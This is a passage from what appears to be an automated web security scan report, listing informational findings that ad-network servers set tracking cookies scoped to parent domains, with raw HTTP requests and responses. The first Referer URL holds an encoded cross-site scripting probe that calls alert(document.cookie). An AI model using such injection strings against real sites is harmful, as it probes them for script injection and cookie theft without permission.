Proxy-Connection: keep-alive
Referer: http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=aarp.thehartford.com,foxnews8.com,carinsuranceweb.com,geinterestplus.com,digestaqure.com&p=0.000700179100183313&url=http%3A%2F%2Fhomeappliance.manualsonline.com%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281%2Fd%2Ftype%2Fproduct_problem&cbb=0x5FAA34DC317211E0BEB038273F87B1CA
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:30:45 GMT
Server: Jetty(6.1.22)
Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 22:30:45 GMT
P3p: CP="NOI DSP COR NID"
Content-Type: image/gif
Cache-Control: no-store
Content-Length: 42
X-Powered-By: Mirror Image Internet
Via: 1.1 mdw061007 (MII-APC/1.6)

GIF89a.............!.......,........@..D.;

14.102. http://ib.adnxs.com/px previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/px

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 21:54:31 GMT; domain=.adnxs.com; HttpOnly
uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 21:54:31 GMT; domain=.adnxs.com; HttpOnly
anj=Kfu=8fG4S]gj[2<?0P(*AuB-u**g1:XIF9]c-Pm=I<a8V/B>i:PSmg^W3vm%A/@8r3Ib7v=>m+B5c('NFWahIM3Tid.'cw2S@9Z$dAwm#D/YhNsF[J<3Yw68ZyGIEu._vlp(S9jjKv9Zx#gVh89rL/O_7kynysL`8KDXqIe+_76zEk@/WFM1r3INe$Nse]R5qr(JDc]-bWILQB2sBm?]5DT.u]:Zm4o)>bs>qIstFH2uSVdZOfDa#wO0R(sY4r'3M3uns400rod$m8jW.pf5$ej(%p3G.wRelFvr1B#3[<j]fLzoYV-Xoc/-u3lfOY2l0^)m+4onJH+'Mp3Z`oaUPGOSO$-([rR[3FKwxy.<d5h_99O>?lEs92JnU<Ym/AN[[N1bi!f/GpSnI+nbI[<DT:[E6Ypx.YVf>TazTBV(V/*F_VMmMdtq(6bR%^6j]b`n>tuf]8.Y_seRWLWR]!?WOOw[T0*U7h_.w+G6qub*wc[_dCF; path=/; expires=Fri, 06-May-2011 21:54:31 GMT; domain=.adnxs.com; HttpOnly

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /px?bidder=13&seg=49740&qsdata=7431457a-2008-4af6-823b-5fab70668c12:4441692.10781187.8722&redir=http%3A%2F%2Fad.yieldmanager.com%2Fpixel%3Fadv%3D95413%26t%3D2%26id%3D862779%26id%3D666786%26id%3D866803 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=EAAYAA..; sess=1; uuid2=4760492999213801733; anj=Kfu=8fG4S]gj[2<?0P(*AuB-u**g1:XIF9]c-Pm=I<a8V/B>i:PSmg^W3vm%A/@8r3Ib7v=>m+B5c('NFWahIM3Tid.'cw2S@9Z$dAwm#D/YhNsF[J<3Yw68ZyGIEu._vlp(S9jjKv9Zx#gVh89rL/O_7kynysL`8KDXqIe+_76zEk@/WFM1r3INe$Nse]R5qr(JDc]-bWILQB2sBm?]5DT.u]:Zm4o)>bs>qIstFH2uSVdZOfDa#wO0R(sY4r'3M3uns400rod$m8jW.pf5$ej(%p3G.wRelFvr1B#3[<j]fLzoYV-Xoc/-u3lfOY2l0^)m+4onJH+'Mp3Z`oaUPGOSO$-([rR[3FKwxy.<d5h_99O>?lEs92JnU<Ym/AN[[N1bi!f/GpSnI+nbI[<DT:[E6Ypx.YVf>TazTBV(V/*F_VMmMdtq(6bR%^6j]b`n>tuf]8.Y_seRWLWR]!?WOOw[T0*U7h_.w+G6qub*wc[_dCF

Response

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sun, 06-Feb-2011 21:54:31 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 21:54:31 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 21:54:31 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG4S]gj[2<?0P(*AuB-u**g1:XIF9]c-Pm=I<a8V/B>i:PSmg^W3vm%A/@8r3Ib7v=>m+B5c('NFWahIM3Tid.'cw2S@9Z$dAwm#D/YhNsF[J<3Yw68ZyGIEu._vlp(S9jjKv9Zx#gVh89rL/O_7kynysL`8KDXqIe+_76zEk@/WFM1r3INe$Nse]R5qr(JDc]-bWILQB2sBm?]5DT.u]:Zm4o)>bs>qIstFH2uSVdZOfDa#wO0R(sY4r'3M3uns400rod$m8jW.pf5$ej(%p3G.wRelFvr1B#3[<j]fLzoYV-Xoc/-u3lfOY2l0^)m+4onJH+'Mp3Z`oaUPGOSO$-([rR[3FKwxy.<d5h_99O>?lEs92JnU<Ym/AN[[N1bi!f/GpSnI+nbI[<DT:[E6Ypx.YVf>TazTBV(V/*F_VMmMdtq(6bR%^6j]b`n>tuf]8.Y_seRWLWR]!?WOOw[T0*U7h_.w+G6qub*wc[_dCF; path=/; expires=Fri, 06-May-2011 21:54:31 GMT; domain=.adnxs.com; HttpOnly
Location: http://ad.yieldmanager.com/pixel?adv=95413&t=2&id=862779&id=666786&id=866803
Date: Sat, 05 Feb 2011 21:54:31 GMT
Content-Length: 0

14.103. http://ib.adnxs.com/seg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/seg

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 21:49:55 GMT; domain=.adnxs.com; HttpOnly
uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 21:49:55 GMT; domain=.adnxs.com; HttpOnly
anj=Kfu=8fG68%ErkX00s]#%2L_'x%SEV/i#+O:Cbsw06/r_>(PNo/dsdulhFKS$1s!(vV#<ay/z?S_+aDM84inGc7u2rDS2.zVfL+uQn0[J!3d#weum*9[*jy.Zj.x7`vo:SHJ4I_sG7M.kwz%lFX:g=(9O<LOsM-gBXD!CJa_$L.-ARC1SuPl*u(p<pOEcF@:XJvR6`HCTmJ$j:2Vw2t1N:6hSg>f@HJ@R]mWLzbKwefWvevrk96VBPMVx:Rur'4ww:QD+5(f7JRTJUg#'5Hn>Mf$DPoeIj+(UBb/RT'-+(e0HtST(7NvgCy/NzlGv!ue5qei+Vmp=QxY'-[.sh/@U6W:7+<WN$/lq+]u7CSOdM#`>w4PcOF<!T>>bfS6Jd@H0$wo[Me9i0XM:R%-#w!B7_<Qs2[31P@bSLNQrB$1[N[y:*NZTHom)%2w7oS__r*]Z8K<k8H)CkdDN!x!*>XHsqp; path=/; expires=Fri, 06-May-2011 21:49:55 GMT; domain=.adnxs.com; HttpOnly

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /seg?add=56500&redir=http%3A%2F%2Fad.yieldmanager.com%2Fpixel%3Fid%3D966993%26t%3D2%26piggyback%3Dhttp%253A%252F%252Fwww.googleadservices.com%252Fpagead%252Fconversion%252F1030878771%252F%253Flabel%253DwJh2CPel9gEQs-zH6wM%2526amp%253Bguid%253DON%2526amp%253Bscript%253D0 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=3654638226144.0156?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=EAAYAA..; anj=Kfu=8fG68%ErkX00s]#%2L_'x%SEV/i#+O:Cbsw06/r_>(PNo/dsdulhFKS$1s!(vV#<ay/z?S_+aDM84inGc7u2rDS2.zVfL+uQn0[J!3d#weum*9[*jy.Zj.x7`vo:SHJ4I_sG7M.kwz%lFX:g=(9O<LOsM-gBXD!CJa_$L.-ARC1SuPl*u(p<pOEcF@:XJvR6`HCTmJ$j:2Vw2t1N:6hSg>f@HJ@R]mWLzbKwefWvevrk96VBPMVx:Rur'4ww:QD+5(f7JRTJUg#.vO@7qBkVu49G!Cw8S>SEFAwEGx/tTLnxS+PjhL%oZuWg9S%4dmU@eOBwGwewGg7x.jZ[Cv=@.Y')7H4K_[7s:8jt(P+HFPd4YN@NmDc3!t9tZagexo%(H43rh$$E`ntW0id[=iN2rA[0q0D:^b-'7[39d9LmUaRg`LG.JfteCRbGx8f/m3D3HD<Tre9Y!*Z>/U5lrg; sess=1; uuid2=4760492999213801733

Response

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sun, 06-Feb-2011 21:49:55 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 21:49:55 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 21:49:55 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG68%ErkX00s]#%2L_'x%SEV/i#+O:Cbsw06/r_>(PNo/dsdulhFKS$1s!(vV#<ay/z?S_+aDM84inGc7u2rDS2.zVfL+uQn0[J!3d#weum*9[*jy.Zj.x7`vo:SHJ4I_sG7M.kwz%lFX:g=(9O<LOsM-gBXD!CJa_$L.-ARC1SuPl*u(p<pOEcF@:XJvR6`HCTmJ$j:2Vw2t1N:6hSg>f@HJ@R]mWLzbKwefWvevrk96VBPMVx:Rur'4ww:QD+5(f7JRTJUg#'5Hn>Mf$DPoeIj+(UBb/RT'-+(e0HtST(7NvgCy/NzlGv!ue5qei+Vmp=QxY'-[.sh/@U6W:7+<WN$/lq+]u7CSOdM#`>w4PcOF<!T>>bfS6Jd@H0$wo[Me9i0XM:R%-#w!B7_<Qs2[31P@bSLNQrB$1[N[y:*NZTHom)%2w7oS__r*]Z8K<k8H)CkdDN!x!*>XHsqp; path=/; expires=Fri, 06-May-2011 21:49:55 GMT; domain=.adnxs.com; HttpOnly
Location: http://ad.yieldmanager.com/pixel?id=966993&t=2&piggyback=http%3A%2F%2Fwww.googleadservices.com%2Fpagead%2Fconversion%2F1030878771%2F%3Flabel%3DwJh2CPel9gEQs-zH6wM%26amp%3Bguid%3DON%26amp%3Bscript%3D0
Date: Sat, 05 Feb 2011 21:49:55 GMT
Content-Length: 0

14.104. http://ib.adnxs.com/setuid previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/setuid

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 22:36:10 GMT; domain=.adnxs.com; HttpOnly
uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 22:36:10 GMT; domain=.adnxs.com; HttpOnly
anj=Kfu=8fG4S]gj[2<?0P(*AuB-u**g1:XIF9]c-Pm=I<a8V/B>i:PSmg^W3vm%A/@8r3Ib7v=>m+B5c('NFWahIM3Tid.'cw2S@9Z$dAwm#D/YhNsF[J<3Yw68ZyGIEu._vlp(S9jjKv9Zx#gVh89rL/O_7kynysL`8KDXqIe+_76zEk@/WFM1r>XmoaYwfT>MaC9F3'@R)b+7/JAm!4$Z$J[)Xs%mpEI_OXEMI#3V8`vbdfy1tOnbaoJ3^ud^C@Q*e<Iyr)#(+Tg6wsA28?%iN0w93NPILtzptUr-G#'csDyV.cfuJDUw9rPkg=:/O)Q?WwIBGi0yY]E5tE_X3Cv=-F%rw+e:SY5$b0gwbe8)$@SH#%)#y<Vzz_ePJ?/BRyEUS#'J#!.$DD2PP9?oe?P+5+<^TJZ_71>/AF_w>M_7BQ$:U=wcjwaYgA6+2x+7Wsqjl^o2[dMS2Eb.K:w!W#9E)!v'vIAAa=SMsTjRRn@)*DB/x>Z; path=/; expires=Fri, 06-May-2011 22:36:10 GMT; domain=.adnxs.com; HttpOnly

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /setuid?entity=25&code=6ch47d7o8wtv HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.slackbooks.com/essentialknee
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=EAAYAA..; sess=1; uuid2=4760492999213801733; anj=Kfu=8fG4S]gj[2<?0P(*AuB-u**g1:XIF9]c-Pm=I<a8V/B>i:PSmg^W3vm%A/@8r3Ib7v=>m+B5c('NFWahIM3Tid.'cw2S@9Z$dAwm#D/YhNsF[J<3Yw68ZyGIEu._vlp(S9jjKv9Zx#gVh89rL/O_7kynysL`8KDXqIe+_76zEk@/WFM1r3INe$Nse]R5qr(JDc]-bWILQB2sBm?]5DT.u]:Zm4o)>bs>qIstFH2uSVdZOfDa#wO0R(sY4r'3M3uns400rod$m8jW.pf5$ej(%p3G.wRelFvr1B#3[<j]fLzoYV-Xoc/-u3lfOY2l0^)m+4onJH+'Mp3Z`oaUPGOSO$-([rR[3FKwxy.<d5h_99O>?lEs92JnU<Ym/AN[[N1bi!f/GpSnI+nbI[<DT:[E6Ypx.YVf>TazTBV(V/*F_VMmMdtq(6bR%^6j]b`n>tuf]8.Y_seRWLWR]!?WOOw[T0*U7h_.w+G6qub*wc[_dCF

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sun, 06-Feb-2011 22:36:10 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 22:36:10 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Fri, 06-May-2011 22:36:10 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG4S]gj[2<?0P(*AuB-u**g1:XIF9]c-Pm=I<a8V/B>i:PSmg^W3vm%A/@8r3Ib7v=>m+B5c('NFWahIM3Tid.'cw2S@9Z$dAwm#D/YhNsF[J<3Yw68ZyGIEu._vlp(S9jjKv9Zx#gVh89rL/O_7kynysL`8KDXqIe+_76zEk@/WFM1r>XmoaYwfT>MaC9F3'@R)b+7/JAm!4$Z$J[)Xs%mpEI_OXEMI#3V8`vbdfy1tOnbaoJ3^ud^C@Q*e<Iyr)#(+Tg6wsA28?%iN0w93NPILtzptUr-G#'csDyV.cfuJDUw9rPkg=:/O)Q?WwIBGi0yY]E5tE_X3Cv=-F%rw+e:SY5$b0gwbe8)$@SH#%)#y<Vzz_ePJ?/BRyEUS#'J#!.$DD2PP9?oe?P+5+<^TJZ_71>/AF_w>M_7BQ$:U=wcjwaYgA6+2x+7Wsqjl^o2[dMS2Eb.K:w!W#9E)!v'vIAAa=SMsTjRRn@)*DB/x>Z; path=/; expires=Fri, 06-May-2011 22:36:10 GMT; domain=.adnxs.com; HttpOnly
Content-Length: 43
Content-Type: image/gif
Date: Sat, 05 Feb 2011 22:36:10 GMT

GIF89a.............!.......,........@..L..;

14.105. http://idcs.interclick.com/Segment.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://idcs.interclick.com
Path:	/Segment.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

sgm=9583=734162&8278=734163&8069=734172&7596=734172&6159=734172&10272=734172; domain=.interclick.com; expires=Fri, 05-Feb-2021 21:50:15 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Segment.aspx?sid=09702beb-9542-4386-99e6-df305b62b1f7 HTTP/1.1
Host: idcs.interclick.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=3654638226144.0156?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: T=1; uid=u=288a8646-9d10-4b7b-b3df-da84333799f7; tpd=e20=1299342742748&e90=1297355542778&e100=1296677943305; sgm=9583=734162&8278=734163&8069=734170&7596=734172&6159=734172&10272=734172

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 70
Content-Type: image/gif
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: sgm=9583=734162&8278=734163&8069=734172&7596=734172&6159=734172&10272=734172; domain=.interclick.com; expires=Fri, 05-Feb-2021 21:50:15 GMT; path=/
X-Powered-By: ASP.NET
P3P: policyref="http://www.interclick.com/w3c/p3p.xml",CP="NON DSP ADM DEV PSD OUR IND PRE NAV UNI"
Date: Sat, 05 Feb 2011 21:50:14 GMT

GIF89a...................!..NETSCAPE2.0.....!.......,................;

14.106. http://idpix.media6degrees.com/orbserv/hbpix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://idpix.media6degrees.com
Path:	/orbserv/hbpix

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
clid=2lebnns011706ch47d7o8wtv1udrf01110040609208; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
rdrlst=4150o2ylebnns00000011100407dpletz4d0000000x100410e5lg1nei0000000710040mmnlebnns00000011100410rdlg1vir0000000610040x1blebnns0000001110040xo1lebnns0000001110040eh5lf17qf0000000t100406bylemlne0000000z10040w3clebnns00000011100407gmlebnns0000001110040jv6lebnns0000001110040j4ilew2e20000000v10040xthlebnns0000001110040fullf8gij0000000p100410f6lg1nei0000000710041196lfzx0l00000008100400c9lfk1rn0000000m10040jillebnns0000001110041194lg3y5y0000000510040fuqlegh2b0000001010040b6mlf17qk0000000s10040mz1lebnns0000001110040cajlfk1rn0000000m10040p7vlebnns00000011100407vglfk1rn0000000m10040xvslebnns0000001110041192lg5l2h00000004100410ellg1nei0000000710040xuklebnns0000001110040jk7lebnns0000001110040x1jlebnns0000001110040yiplebnns0000001110040cbnlfk1rn0000000m10040xwflebnns0000001110040yh0lebnns00000011100410telg60j60000000210020e4vlebnns00000011100410e9lg1nei0000000710040xwblebnns0000001110040jwblfk1rn0000000m1004; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000r1004060920882gletz4d0pqa500a0l000400100ag2leqh191fkdy00y1004060920882hlebnns1ucve00z100006002009zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0mb4o00n10040609208820lebnns181qq00e0l000400100b0olfjpei0mb4o00n10040609208ab4lebnns1ucve011100406092089szlebnns1ucve011100406092088wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pkcw01010040609208al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0mb4o00n100406092088bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns1ucve00k10000600200b08lfjpei0mb4o00n1004060920840slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000o1004060920840uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns1ucve00g100206022029atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /orbserv/hbpix?pixId=2725&tpd=CAESEH83n07tNVfjJL0v2PBkqF8&cver=1 HTTP/1.1
Host: idpix.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://www.slackbooks.com/essentialknee
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lfzx0l0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt11ucvexzt11txepxzt11txepxzt11ucve; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv1ucve01010030608207; orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; rdrlst=41507dpletz4d0000000w10030o2ylebnns0000001010030mmnlebnns00000010100310e5lg1nei00000006100310rdlg1vir0000000510030xo1lebnns0000001010030x1blebnns0000001010030eh5lf17qf0000000s100306bylemlne0000000y10030w3clebnns00000010100307gmlebnns0000001010030jv6lebnns0000001010030j4ilew2e20000000u10030xthlebnns0000001010030fullf8gij0000000o100310f6lg1nei0000000610031196lfzx0l00000007100300c9lfk1rn0000000l10030jillebnns0000001010031194lg3y5y0000000410030fuqlegh2b0000000z10030b6mlf17qk0000000r10030mz1lebnns0000001010030cajlfk1rn0000000l10030p7vlebnns00000010100307vglfk1rn0000000l10031192lg5l2h0000000310030xvslebnns00000010100310ellg1nei0000000610030xuklebnns0000001010030x1jlebnns0000001010030jk7lebnns0000001010030cbnlfk1rn0000000l10030yiplebnns00000010100310telg60j60000000110010yh0lebnns0000001010030xwflebnns0000001010030e4vlebnns00000010100310e9lg1nei0000000610030jwblfk1rn0000000l10030xwblebnns000000101003; sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo0000000q10030608207ag2leqh191fjhx00x1003060820782gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns1ucve00z100006002005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0mb4o00m10030608207820lebnns181qq00e0l000400100b0olfjpei0mb4o00m10030608207ab4lebnns1ucve010100306082079szlebnns1ucve010100306082078wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pjgv00z10030608207al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns1ucve00k100006002007y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei0mb4o00m10030608207b08lfjpei0mb4o00m1003060820740slebnns181qq00e0l00040010045mlfdxmc0000000n10030608207a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns1ucve00f100106012019atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; vstcnt=3lebnns030r034nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l3ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z4jaec12011ucve1l034e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4fhux122u000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru000000000000000000000000000000000004esx7120104tej1o018EstvP2qn112s1o9ct1oa791oa5w1oa8b1oa601oa8j1oa6z1oa871oa6u1oa8f1oa7b1oa7l1oa6x1oa8l1oa6m1oa7i1oa8h1oa6h1oa8e1oa5z1oa8s1oa7n1oa6e1oa7k1oa741oa5r1oa7h1oa5l1oa5k1oa611oa7w1oa8g1oa911oa7o1oa5m1oa6l1oa681oa8c1oa5h1oa831oa8o1oa8n1oa7f1oa6f1oa7x1oa721oa771oa701oa7j1oa7a1oa801oa7g1oa6n1oa761oa5t1oa8i1oa841oa8t1oa8m1oa7y1oa921oa5i1oa6y1oa931oa821oa7u1oa941oa8d1oa631oa6t1oa651oa7d1oa8v1oa6j1oa891oa6w1oa5j1oa881oa7t1oa6v1oa7s1oa8z1oa8p1oa811oa6o1oa8u1oa691oa731oa5q1oa6g1oa8q1oa7e1oa5y1oa751oa5s1oa641oa7v1oa781oa5v1oa6k

Response

HTTP/1.1 302 Moved Temporarily
